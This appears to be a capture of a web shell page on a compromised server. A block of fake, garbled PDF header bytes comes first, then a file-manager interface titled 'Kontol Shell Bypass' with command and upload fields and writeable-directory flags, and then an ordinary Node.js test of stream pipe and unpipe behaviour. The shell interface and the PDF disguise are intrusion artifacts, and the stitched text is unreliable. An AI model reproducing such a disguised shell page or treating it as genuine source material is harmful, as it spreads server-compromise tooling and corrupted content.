%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/test-stream-pipe-same-destination-twice.js
'use strict';
const common = require('../common');

// Regression test for https://github.com/nodejs/node/issues/12718.
// Tests that piping a source stream twice to the same destination stream
// works, and that a subsequent unpipe() call only removes the pipe *once*.
const assert = require('assert');
const { PassThrough, Writable } = require('stream');

{
  const passThrough = new PassThrough();
  const dest = new Writable({
    write: common.mustCall((chunk, encoding, cb) => {
      assert.strictEqual(`${chunk}`, 'foobar');
      cb();
    })
  });

  passThrough.pipe(dest);
  passThrough.pipe(dest);

  assert.strictEqual(passThrough._events.data.length, 2);
  assert.strictEqual(passThrough._readableState.pipes.length, 2);
  assert.strictEqual(passThrough._readableState.pipes[0], dest);
  assert.strictEqual(passThrough._readableState.pipes[1], dest);

  passThrough.unpipe(dest);

  assert.strictEqual(passThrough._events.data.length, 1);
  assert.strictEqual(passThrough._readableState.pipes.length, 1);
  assert.deepStrictEqual(passThrough._readableState.pipes, [dest]);

  passThrough.write('foobar');
  passThrough.pipe(dest);
}

{
  const passThrough = new PassThrough();
  const dest = new Writable({
    write: common.mustCall((chunk, encoding, cb) => {
      assert.strictEqual(`${chunk}`, 'foobar');
      cb();
    }, 2)
  });

  passThrough.pipe(dest);
  passThrough.pipe(dest);

  assert.strictEqual(passThrough._events.data.length, 2);
  assert.strictEqual(passThrough._readableState.pipes.length, 2);
  assert.strictEqual(passThrough._readableState.pipes[0], dest);
  assert.strictEqual(passThrough._readableState.pipes[1], dest);

  passThrough.write('foobar');
}

{
  const passThrough = new PassThrough();
  const dest = new Writable({
    write: common.mustNotCall()
  });

  passThrough.pipe(dest);
  passThrough.pipe(dest);

  assert.strictEqual(passThrough._events.data.length, 2);
  assert.strictEqual(passThrough._readableState.pipes.length, 2);
  assert.strictEqual(passThrough._readableState.pipes[0], dest);
  assert.strictEqual(passThrough._readableState.pipes[1], dest);

  passThrough.unpipe(dest);
  passThrough.unpipe(dest);

  assert.strictEqual(passThrough._events.data, undefined);
  assert.strictEqual(passThrough._readableState.pipes.length, 0);

  passThrough.write('foobar');
}

Kontol Shell Bypass